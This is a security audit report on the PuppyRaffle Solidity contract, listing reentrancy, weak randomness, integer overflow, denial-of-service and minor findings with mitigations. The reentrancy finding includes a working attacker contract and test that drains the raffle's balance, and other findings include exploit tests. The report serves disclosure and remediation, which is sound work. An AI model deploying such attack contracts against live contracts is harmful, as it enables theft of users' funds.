

PuppyRaffle Audit Report

Version 1.0

Protocol Audit Report

What Fate

Aug. 18, 2025

Lead Auditors: - What Fate

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
 - Roles
- Executive Summary
 - Issues found
- Findings
- High
 - [H-1] Reentrancy Attack in PuppyRaffle::refund allows entrant to drain raffle balance
 - [H-2] Predictable randomness in PuppyRaffle::selectWinner enables winner manipulation
 - [H-3] Potential overflow in PuppyRaffle::selectWinner caused by unsafe from uint256 to uint64 downcast in fee calculation

Medium

 [M-1] Looping through players array to check for duplicates in PuppyRaffle:: enterRaffle is a potential denial of service (DoS) attack, incrementing gas costs for future entrants

- [M-2] Unsafe cast of PuppyRaffle:: fee loses fee
- [M-3] Smart contract wallets raffle winners without a receive or a fallback function
 will block the start of a new contest
- Low
 - [L-1] PuppyRaffle::getActivePlayerIndex returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle
- Gas
 - [G-1] Unchanged state variables should be declared constant or immutable.
 - [G-2] Storage variables in a loop should be cached
- Informational/Non-Crits
 - [I-1] Solidity pragma should be specific, not wide
 - [I-2] Using an outdated version of Solidity is not recommended.
 - [I-3]: Missing checks for address (0) when assigning values to address state variables
 - [I-4] PuppyRaffle::selectWinner does not follow CEI, which is not a best practice
 - [I-5] Use of "magic" numbers is discouraged
 - [I-6] PuppyRaffle::_isActivePlayer is never used and should be removed

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

- 1. Call the enterRaffle function with the following parameters:
 - 1. address[] participants: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
- 2. Duplicate addresses are not allowed
- 3. Users are allowed to get a refund of their ticket & value if they call the refund function
- 4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
- 5. The owner of the protocol will set a feeAddress to take a cut of the value, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Hash Horizon team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	Н	H/M	М
	Medium	H/M	М	M/L
	Low	М	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8

Scope

```
1 ./src/
2 #-- PuppyRaffle.sol
```

Roles

- Owner Deployer of the protocol, has the power to change the wallet address to which fees are sent through the changeFeeAddress function.
- Player Participant of the raffle, has the power to enter the raffle with the enterRaffle function and refund value through refund function.

Executive Summary

The security audit of the PuppyRaffle smart contract identified several issues across high, medium, low, gas, and informational categories:

· High-risk issues:

- Reentrancy in refund may allow an attacker to drain contract funds.
- Predictable randomness in selectWinner enables winner manipulation.
- Unsafe uint256 -> uint64 downcast in fee calculation could cause overflows and prevent fee withdrawal.

Medium-risk issues:

- Loops through players in enterRaffle can increase gas costs, potentially causing DoS.
- Unsafe type casts can result in lost fees.
- Smart contract wallets without receive or fallback may block new raffles.

• Low-risk and gas optimizations:

- Minor logic issues such as misreporting player indices and caching storage variables to reduce gas.

Informational:

- Unused functions, magic numbers, outdated Solidity version, and best-practice deviations reduce readability and maintainability.

Issues found

Severity	Number of issues found		
High	3		
Medium	3		
Low	1		
Info	6		
Gas Optimizations	2		
Total	15		

Findings

High

[H-1] Reentrancy Attack in PuppyRaffle::refund allows entrant to drain raffle balance

Description: The PuppyRaffle::refund function performs an external call before updating state, violating the Checks-Effects-Interactions (CEI) pattern. This allows reentrancy, enabling attackers to repeatedly call PuppyRaffle::refund and drain contract funds."

```
function refund(uint256 playerIndex) public {
2
           address playerAddress = players[playerIndex];
           require(playerAddress == msg.sender, "PuppyRaffle: Only the
3
              player can refund");
           require(playerAddress != address(0), "PuppyRaffle: Player
4
              already refunded, or is not active");
5
6 -->
           payable(msg.sender).sendValue(entranceFee);
7
           players[playerIndex] = address(0);
8
9
           emit RaffleRefunded(playerAddress);
10
       }
```

A player who has entered the raffle could have a fallback/receive function that calls the PuppyRaffle: refund function again and claim another refund. They could continue the cycle until the contract balance is drained

Impact: A malicious entrant can repeatedly trigger PuppyRaffle::refund, extracting more than their fair share of the entrance fee and draining all contract funds. This results in a full loss of funds.

Proof of Concept:

- 1. Attacker deploys a contract with a fallback/receive that re-calls PuppyRaffle::refund.
- 2. Attacker enters the raffle as a participant.
- 3. Attacker calls PuppyRaffle::refund, which triggers reentrancy.
- 4. Loop continues until the contract is drained.

Proof of Code

Code

Place the following into PuppyRaffleTest.t.sol

```
function test_reentrancyRefund() public {
    address[] memory players = new address[](4);
    players[0] = playerOne;
```

```
4
           players[1] = playerTwo;
5
           players[2] = playerThree;
           players[3] = playerFour;
6
           puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9
           ReentrancyAttacker attackerContract = new ReentrancyAttacker(
               puppyRaffle);
           address attackUser = makeAddr("attackUser");
10
           vm.deal(attackUser, 1 ether);
11
12
13
           uint256 startingAttackContractBalance = address(
               attackerContract).balance;
           uint256 startingContractBalance = address(puppyRaffle).balance;
14
           vm.prank(attackUser);
17
           attackerContract.attack{value: entranceFee}();
18
           console.log("Starting attacker contract balance: ",
               startingAttackContractBalance);
           console.log("Starting contract balance: ",
               startingContractBalance);
           console.log("Ending attacker contract balance: ", address(
22
               attackerContract).balance);
           console.log("Ending contract balance: ", address(puppyRaffle).
23
               balance);
24
       }
```

And this contract as well.

```
contract ReentrancyAttacker {
       PuppyRaffle puppyRaffle;
3
       uint256 entranceFee;
       uint256 attackerIndex;
4
5
       constructor(PuppyRaffle _puppyRaffle) {
6
7
           puppyRaffle = _puppyRaffle;
           entranceFee = puppyRaffle.entranceFee();
8
9
       }
10
11
       function attack() external payable {
           address[] memory players = new address[](1);
12
13
           players[0] = address(this);
           puppyRaffle.enterRaffle{value: entranceFee}(players);
14
15
           attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
           puppyRaffle.refund(attackerIndex);
17
       }
19
       function _stealMoney() internal {
```

```
21
            if (address(puppyRaffle).balance >= entranceFee) {
22
                puppyRaffle.refund(attackerIndex);
23
            }
24
       }
25
26
       fallback() external payable {
27
            _stealMoney();
28
29
30
       receive() external payable {
31
            _stealMoney();
32
       }
33 }
```

Recommended Mitigation: Update the PuppyRaffle::players array and emit the event before making the external call. Additionally, consider adding a nonReentrant modifier for defense-indepth.

```
1
       function refund(uint256 playerIndex) public {
2
           address playerAddress = players[playerIndex];
           require(playerAddress == msg.sender, "PuppyRaffle: Only the
              player can refund");
           require(playerAddress != address(0), "PuppyRaffle: Player
4
              already refunded, or is not active");
5
           players[playerIndex] = address(0);
6 +
7 +
           emit RaffleRefunded(playerAddress);
8
           payable(msg.sender).sendValue(entranceFee);
9 -
           players[playerIndex] = address(0);
           emit RaffleRefunded(playerAddress);
10 -
11
       }
```

[H-2] Predictable randomness in PuppyRaffle::selectWinner enables winner manipulation

Description: Hashing msg.sender, block.timestamp, and block.difficulty together produces a predictable pseudo-random number. A predictable number is not a good random number. Malicious actors can exploit this predictability to manipulate outcomes in their favor.

Note: This additionally means users could front-run this function and call refund if they see they are not the winner

Impact: Any user can influence the winner of the raffle, winning the money and selecting the rarest puppy. Attackers can consistently bias the outcome, capturing funds and rare NFTs. This undermines fairness and trust in the raffle, disincentivizing honest participation.

Proof of Concept:

1. Validators can know the values of block.timestamp and block.difficulty ahead of time and use that to predict when/how to participate. See the solidity blog on prevrandao. block.difficulty was recently replaced with prevrandao.

- 2. Attackers can choose their address to bias the randomness function.
- 3. Users can revert or frontrun transactions if they detect an unfavorable outcome.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Use a verifiable randomness source such as Chainlink VRF. Alternatively, consider a commit–reveal scheme if third-party randomness is unavailable.

[H-3] Potential overflow in PuppyRaffle::selectWinner caused by unsafe from uint256 to uint64 downcast in fee calculation

Description: The contract accumulates fees into a uint64 variable. Because the fee values can grow large, adding them may cause an overflow, resetting the value to a lower number. In Solidity versions prior to 0.8.0, such overflows are not automatically checked, which makes this bug exploitable.

```
1 uint64 myVar = type(uint64).max;
2 // 18446744073709551615
3 myVar = myVar + 1;
4 // myVar will be 0
```

Impact: Overflowing totalFees leads to incorrect accounting. As a result, collected fees may become permanently inaccessible, preventing the feeAddress from withdrawing its share. This effectively locks protocol revenue and may cause denial of service to fee withdrawal

Proof of Concept: 1. We conclude a raffle of 4 players 2. We then have 89 players enter a new raffle, and conclude the raffle 3. totalFees will be:

```
1 totalFees = totalFees + uint64(fee);
2 // aka
3 totalFees = 800_000_000_000_000 + 1_780_000_000_000_000_000
4 // and this will overflow!
5 totalFees = 153255926290448384
```

4. You will not be able to withdraw, due to the line in PuppyRaffle::withdrawFees:

```
require(address(this).balance == uint256(totalFees), "
PuppyRaffle: There are currently players active!");
```

Althought you could use selfdestruct to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will

be too much balance in the contract that the above require will be impossible to hit.

Code

```
1
       function testTotalFeesOverflow() public {
2
            // We have 4 players enter the first raffle to collect some
               fees
           address[] memory players = new address[](4);
3
4
            players[0] = player0ne;
5
            players[1] = playerTwo;
6
           players[2] = playerThree;
7
           players[3] = playerFour;
8
9
           // Enter raffle and send total ETH = 4 * entranceFee
10
           puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
11
           // Finish the raffle
12
           vm.warp(block.timestamp + duration + 1);
13
           vm.roll(block.number + 1);
14
15
           puppyRaffle.selectWinner();
16
17
           // Record totalFees after first raffle
18
           uint256 startingTotalFees = puppyRaffle.totalFees();
19
           // startingTotalFees = 80000000000000000 wei
20
21
           // Now we have 89 players enter a new raffle
22
           uint256 playersNum = 89;
23
           address[] memory playersSecond = new address[](playersNum);
24
           for (uint256 i = 0; i < playersNum; i++) {</pre>
                playersSecond[i] = address(i);
25
26
           }
27
           // Enter raffle with 89 players
29
            puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
               playersSecond);
31
            // Finish the second raffle
32
           vm.warp(block.timestamp + duration + 1);
           vm.roll(block.number + 1);
34
           // Here is where the issue occurs:
            // We will now have fewer fees even though we just finished a
               second raffle
           puppyRaffle.selectWinner();
           uint256 endingTotalFees = puppyRaffle.totalFees();
39
           console.log("ending total fees", endingTotalFees);
40
           assert(endingTotalFees < startingTotalFees);</pre>
41
42
            // We are also unable to withdraw any fees because of the
               require check
            vm.expectRevert("PuppyRaffle: There are currently players
43
```

```
active!");
44      puppyRaffle.withdrawFees();
45  }
```

Recommended Mitigation: There are a few possible mitigations.

- 1. Use a newer version of solidity, and a uint256 instead of uint64 for PuppyRaffle:: totalFees
- 2. You could also use the SafeMath library of OpenZeppelin for version 0.7.6 of solidity, however you would still have a hard time with the uint64 type if too many fees are collected.
- 3. Remove the balance check from PuppyRaffle::withdrawFees

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

Medium

[M-1] Looping through players array to check for duplicates in PuppyRaffle::enterRaffle is a potential denial of service (DoS) attack, incrementing gas costs for future entrants

Description: The PuppyRaffle::enterRaffle function loops through the players array to check for duplicates. However, the longer the PuppyRaffle::players array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the players array, is an additional check the loop will have to make.

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the PuppyRaffle::entrants array so big, that no one else enters guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas cost will be as such: - 1st 100 players: ~6503272 gas - 2st 100 players: ~18995512 gas

This more than 3x more expensive for the second 100 players.

PoC

Place the following test into PuppyRaffleTest.t.sol.

```
function test_denialOfService() public {
2
           vm.txGasPrice(1);
3
           uint256 playersNum = 100;
4
           address[] memory players = new address[](playersNum);
           for (uint256 i = 0; i < playersNum; i++) {</pre>
6
7
                players[i] = address(i);
8
9
10
           uint256 gasStart = gasleft();
           puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
               players);
12
           uint256 gasEnd = gasleft();
           uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
13
           console.log("Gas cost of the first 100 players:", gasUsedFirst)
14
15
           address[] memory playersTwo = new address[](playersNum);
           for (uint256 i = 0; i < playersNum; i++) {</pre>
17
18
                playersTwo[i] = address(i + playersNum);
19
20
           uint256 gasStartSecond = gasleft();
            puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
               playersTwo);
22
           uint256 gasEndSecond = gasleft();
23
           uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
               gasprice;
           console.log("Gas cost of the second 100 players:",
24
               gasUsedSecond);
25
26
           assert(gasUsedFirst < gasUsedSecond);</pre>
27
       }
```

Recommended Mitigation: There are a few recommendations.

- 1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
- 2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```
1
       mapping(address => uint256) public addressToRaffleId;
2
       uint256 public raffleId = 0;
3
4
5
        function enterRaffle(address[] memory newPlayers) public payable {
6
            require(msg.value == entranceFee * newPlayers.length, "
               PuppyRaffle: Must send enough to enter raffle");
8
            for (uint256 i = 0; i < newPlayers.length; i++) {</pre>
                players.push(newPlayers[i]);
9
10 +
                 addressToRaffleId[newPlayers[i]] = raffleId;
11
           }
12
           // Check for duplicates
13 -
14 +
            // Check for duplicates only from the new players
15 +
           for (uint256 i = 0; i < newPlayers.length; i++) {</pre>
               require(addressToRaffleId[newPlayers[i]] != raffleId, "
16 +
      PuppyRaffle: Duplicate player");
17 +
           }
             for (uint256 i = 0; i < players.length; i++) {</pre>
18 -
                 for (uint256 j = i + 1; j < players.length; j++) {</pre>
19 -
20
                     require(players[i] != players[j], "PuppyRaffle:
       Duplicate player");
21
22 -
           }
23
           emit RaffleEnter(newPlayers);
24
       }
25 .
26 .
27
       function selectWinner() external {
28
29 +
           raffleId = raffleId + 1;
            require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
```

Alternatively, you could use OpenZeppelin's EnumerableSet library.

[M-2] Unsafe cast of PuppyRaffle::fee loses fee

Description: In PuppyRaffle::selectWinner their is a type cast of uint256 to a uint64. This is an unsafe cast, and if the uint256 is larger than type(uint64).max, the value will be truncated.

```
5
           uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
               sender, block.timestamp, block.difficulty))) % players.
               length:
           address winner = players[winnerIndex];
6
           uint256 fee = totalFees / 10;
7
8
           uint256 winnings = address(this).balance - fee;
           totalFees = totalFees + uint64(fee);
           players = new address[](0);
10
           emit RaffleWinner(winner, winnings);
11
12
```

The max value of a uint64 is 18446744073709551615. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the fee casting will truncate the value.

Impact: This means the feeAddress will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

- 1. A raffle proceeds with a little more than 18 ETH worth of fees collected
- 2. The line that casts the fee as a uint64 hits
- 3. totalFees is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
1 uint256 max = type(uint64).max
2 uint256 fee = max + 1
3 uint64(fee)
4 // prints 0
```

Recommended Mitigation: Set PuppyRaffle::totalFees to a uint256 instead of a uint64, and remove the casting. Their is a comment which says:

```
1 // We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

[M-3] Smart contract wallets raffle winners without a receive or a fallback function will block the start of a new contest

Description: The PuppyRaffle::selectWinner function is responsible for resetting the lottery. However, if the winner is a smart conract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the selectWinner function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging

Impact: The PuppyRaffle::selectWinner function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The selectWinner function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

- 1. Do not allow smart contract wallet entrants (not recommended)
- 2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves with a new claimPrize function, putting the owners on the winner to claim their prize. (Recommended)

Low

[L-1] PuppyRaffle::getActivePlayerIndex returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

Description: If a player is in the PuppyRaffle::players array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
/// @return the index of the player in the array, if they are not
          active, it returns 0
       function getActivePlayerIndex(address player) external view returns
2
           (uint256) {
3
           for (uint256 i = 0; i < players.length; i++) {</pre>
               if (players[i] == player) {
                   return i;
6
7
           }
8
           return 0;
9
       }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

- 1. User enters the raffle, they are the first entrant
- 2. PuppyRaffle:getActivePlayerIndex returns 0
- 3. User thinks they have not entered correctly due to the function documentation.

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an int256 where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances: - PuppyRaffle::raffleDuration should be immutable - PuppyRaffle
::commonImageUri should be constant - PuppyRaffle::rareImageUri should be
constant-PuppyRaffle::legendaryImageUri should be constant

[G-2] Storage variables in a loop should be cached

Everytime you call players.length you read from storage, as opposed to memory which is more gas efficient.

```
1
       uint256 playerLength = players.length;
2
       for (uint256 i = 0; i < players.length - 1; i++) {</pre>
3 -
       for (uint256 i = 0; i < playerLength - 1; i++) {</pre>
4 +
           for (uint256 j = i + 1; j < players.length; j++) {</pre>
5 -
6 +
           for (uint256 j = i + 1; j < playerLength; j++) {</pre>
               require(players[i] != players[j], "PuppyRaffle: Duplicate
                   player");
9
           }
       }
```

Informational/Non-Crits

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of pragma solidity ^0.8.0; use pragma solidity 0.8.0;

• Found in src/PuppyRaffle.sol: 32:23:35

[I-2] Using an outdated version of Solidity is not recommended.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statements. Recommendation

Recommendations:

Deploy with any of the following Solidity versions:

```
1 0.8.18
```

The recommendations take into account:

- Risks related to recent releases
- Risks of complex code generation changes
- · Risks of new language features
- · Risks of known bugs

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-3]: Missing checks for address (0) when assigning values to address state variables

Check for address (0) when assigning values to address state variables.

2 Found Instances

• Found in src/PuppyRaffle.sol Line: 66

```
1 feeAddress = _feeAddress;
```

• Found in src/PuppyRaffle.sol Line: 192

```
1 feeAddress = newFeeAddress;
```

[I-4] PuppyRaffle::selectWinner does not follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;

uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE)
/ POOL_PRECISION;
uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
POOL_PRECISION;
```

[I-6] PuppyRaffle::_isActivePlayer is never used and should be removed

Description: The internal function PuppyRaffle::_isActivePlayer exists in the contract but is never called. Unused functions increase code complexity, reduce readability, and may mislead

developers about the intended design.

Impact: May mislead developers into thinking that active player validation is enforced somewhere in the protocol, when in fact it is not.

Proof of Concept:

- The function _isActivePlayer() is defined in the contract, but it is never called in any execution path.
- For example, in PuppyRaffle.sol we see:

```
function _isActivePlayer() internal view returns (bool) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == msg.sender) {
            return true;
        }
    }
    return false;
}</pre>
```

• This indicates that the check for whether msg.sender is an active player is not enforced anywhere in the protocol.

The presence of this unused function may give developers or auditors the false impression that active player validation is implemented. This can lead to misunderstandings about the contract's behavior and increase the likelihood of mistakes during maintenance or further development.

Recommended Mitigation:

Remove the _isActivePlayer function to simplify the codebase. If intended for future use, clearly comment its purpose. Ensure active player validation is implemented only where required.